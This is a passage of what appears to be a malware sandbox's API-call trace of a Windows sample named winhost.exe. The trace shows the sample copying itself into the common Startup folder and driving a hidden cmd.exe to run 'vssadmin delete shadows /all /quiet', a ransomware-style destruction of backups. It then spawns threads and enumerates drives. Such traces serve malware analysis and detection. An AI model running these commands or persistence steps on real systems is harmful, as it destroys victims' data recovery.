dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0145.836] ReadFile (in: hFile=0x244, lpBuffer=0x23d6020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d6020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.844] WriteFile (in: hFile=0x248, lpBuffer=0x23d6020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d6020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0145.965] ReadFile (in: hFile=0x244, lpBuffer=0x23d6020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d6020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0145.965] CloseHandle (hObject=0x248) returned 1 [0146.059] CloseHandle (hObject=0x244) returned 1 [0146.059] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4440 [0146.059] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4440, Size=0x20) returned 0x6ee9c8 [0146.059] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46c8 [0146.059] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6eeab8 [0146.059] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0146.059] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0146.059] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.059] lstrlenW (lpString="kernel32.dll") returned 12 [0146.059] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeab8 | out: hHeap=0x6b0000) returned 1 [0146.059] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.059] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ee9c8 | out: hHeap=0x6b0000) returned 1 [0146.059] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x23d6020 | out: hHeap=0x6b0000) returned 1 [0146.093] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x716500 [0146.093] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x726508 [0146.093] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44e8 [0146.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44e8, Size=0x20) returned 0x6eece8 [0146.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eece8, Size=0x40) returned 0x6c7df0 [0146.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7df0, Size=0x80) returned 0x736978 [0146.093] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x736978, Size=0x100) returned 0x6f4d30 [0146.093] lstrlenW (lpString="") returned 0 [0146.093] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.093] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8c) returned 0x6c7818 [0146.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0146.093] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x726508, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0146.094] RegCloseKey (hKey=0x244) returned 0x0 [0146.094] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7818 | out: hHeap=0x6b0000) returned 1 [0146.094] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0146.094] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.094] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4d30 | out: hHeap=0x6b0000) returned 1 [0146.094] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x716500, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0146.094] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x726508 | out: hHeap=0x6b0000) returned 1 [0146.094] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716500 | out: hHeap=0x6b0000) returned 1 [0146.094] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x23d3020 [0146.096] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44a0 [0146.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44a0, Size=0x20) returned 0x6eece8 [0146.096] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44e8 [0146.096] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44e8, Size=0x20) returned 0x6eeba8 [0146.096] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0146.096] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0146.096] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.096] lstrlenW (lpString="kernel32.dll") returned 12 [0146.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eece8 | out: hHeap=0x6b0000) returned 1 [0146.096] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x6b0000) returned 1 [0146.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\winhost.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0146.097] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0146.263] ReadFile (in: hFile=0x244, lpBuffer=0x23d3020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d3020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0146.270] WriteFile (in: hFile=0x248, lpBuffer=0x23d3020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d3020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0146.272] ReadFile (in: hFile=0x244, lpBuffer=0x23d3020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23d3020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0146.272] CloseHandle (hObject=0x248) returned 1 [0146.419] CloseHandle (hObject=0x244) returned 1 [0146.419] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44e8 [0146.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44e8, Size=0x20) returned 0x6eec48 [0146.419] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4548 [0146.419] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4548, Size=0x20) returned 0x6eed38 [0146.419] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0146.420] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0146.420] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0146.420] lstrlenW (lpString="kernel32.dll") returned 12 [0146.420] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eed38 | out: hHeap=0x6b0000) returned 1 [0146.420] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.420] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec48 | out: hHeap=0x6b0000) returned 1 [0146.420] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x23d3020 | out: hHeap=0x6b0000) returned 1 [0146.423] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f64f0 | out: hHeap=0x6b0000) returned 1 [0146.423] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7064f8 | out: hHeap=0x6b0000) returned 1 [0146.424] lstrlenW (lpString="%windir%\\System32") returned 17 [0146.424] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7ad8 | out: hHeap=0x6b0000) returned 1 [0146.424] lstrlenW (lpString="%appdata%") returned 9 [0146.424] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eea90 | out: hHeap=0x6b0000) returned 1 [0146.424] lstrlenW (lpString="%sh(Startup)%") returned 13 [0146.424] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ee8b0 | out: hHeap=0x6b0000) returned 1 [0146.424] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0146.424] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c7da8 | out: hHeap=0x6b0000) returned 1 [0146.424] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f44b8 [0146.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f44b8, Size=0x20) returned 0x6eeae0 [0146.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeae0, Size=0x40) returned 0x6c7f10 [0146.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7f10, Size=0x80) returned 0x736ec8 [0146.424] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46c8 [0146.424] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6eec20 [0146.424] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1fffc) returned 0x6f64f0 [0146.425] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x7164f8 [0146.425] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfffe) returned 0x726500 [0146.425] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f43f8 [0146.425] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f43f8, Size=0x20) returned 0x6eed38 [0146.425] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eed38, Size=0x40) returned 0x6c7c40 [0146.425] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7c40, Size=0x80) returned 0x7367e0 [0146.425] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7367e0, Size=0x100) returned 0x6f4d30 [0146.425] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.425] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f4d30 | out: hHeap=0x6b0000) returned 1 [0146.425] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x7164f8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0146.425] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x726500 | out: hHeap=0x6b0000) returned 1 [0146.425] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7164f8 | out: hHeap=0x6b0000) returned 1 [0146.425] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0146.426] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0146.426] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0146.426] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0146.426] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x8b0, dwThreadId=0x7d4)) returned 1 [0146.760] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.761] WriteFile (in: hFile=0x24c, lpBuffer=0x736ec8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x736ec8*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0146.761] CloseHandle (hObject=0x25c) returned 1 [0146.761] CloseHandle (hObject=0x258) returned 1 [0146.761] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f64f0 | out: hHeap=0x6b0000) returned 1 [0146.761] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0146.761] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x736ec8 | out: hHeap=0x6b0000) returned 1 [0146.761] lstrlenW (lpString="%comspec%") returned 9 [0146.761] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec20 | out: hHeap=0x6b0000) returned 1 [0146.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0146.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f44e8 [0146.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x6f44e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0146.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef0b0 [0146.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x6ef0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0146.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f46c8 [0146.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6eea90 [0146.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eea90, Size=0x40) returned 0x6c7d60 [0146.762] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0146.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xd0) returned 0x6cb9d0 [0146.762] GetLogicalDrives () returned 0x4 [0146.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10014) returned 0x6f64f0 [0146.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f4428 [0146.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4428, Size=0x20) returned 0x6eeb80 [0146.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6eeb80, Size=0x40) returned 0x6c8078 [0146.762] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c8078, Size=0x80) returned 0x736758 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x736758, Size=0x100) returned 0x6f4d30 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4d30, Size=0x200) returned 0x6f4d30 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4d30, Size=0x400) returned 0x737918 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x737918, Size=0x800) returned 0x737918 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x737918, Size=0x1000) returned 0x737918 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x706510 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6f45c0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f4578 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6ef270 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f4650 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4) returned 0x6ef170 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f44a0 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef170, Size=0x8) returned 0x6ef110 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4410 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ef110, Size=0x10) returned 0x6f46c8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4608 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f46e0 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f46c8, Size=0x20) returned 0x6ee9f0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f45f0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef280 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f46c8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f4458 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ee9f0, Size=0x40) returned 0x6c7ad8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f4548 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f4518 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f45d8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x6f44d0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f43f8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4560 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef1e0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4620 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6c7ad8, Size=0x80) returned 0x7368f0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4428 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4440 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f44b8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4500 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f46f8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f4758 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4788 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef1f0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4710 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4740 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f4770 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f47a0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6f47b8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f4728 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x7390e8 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738fb0 [0146.763] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7368f0, Size=0x100) returned 0x6f4d30 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739100 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739088 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f50 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7390d0 [0146.763] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7390a0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ff8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef200 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f68 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f80 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739010 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6ef210 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738f98 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738fc8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef0d0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738fe0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739028 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x739040 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739058 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7390b8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x739070 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xe) returned 0x738a58 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7389f8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x738a88 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738bd8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b18 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b60 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c08 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef0c0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738aa0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b78 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c38 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b30 [0146.764] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6f4d30, Size=0x200) returned 0x6f4d30 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b48 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6ef0e0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738968 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738a40 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b00 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738b90 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738bf0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ab8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738950 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ad0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ba8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x7389e0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738bc0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738c20 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738980 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738998 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x7389b0 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x7389c8 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738a10 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x738a28 [0146.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x738ae8 [0146.764] 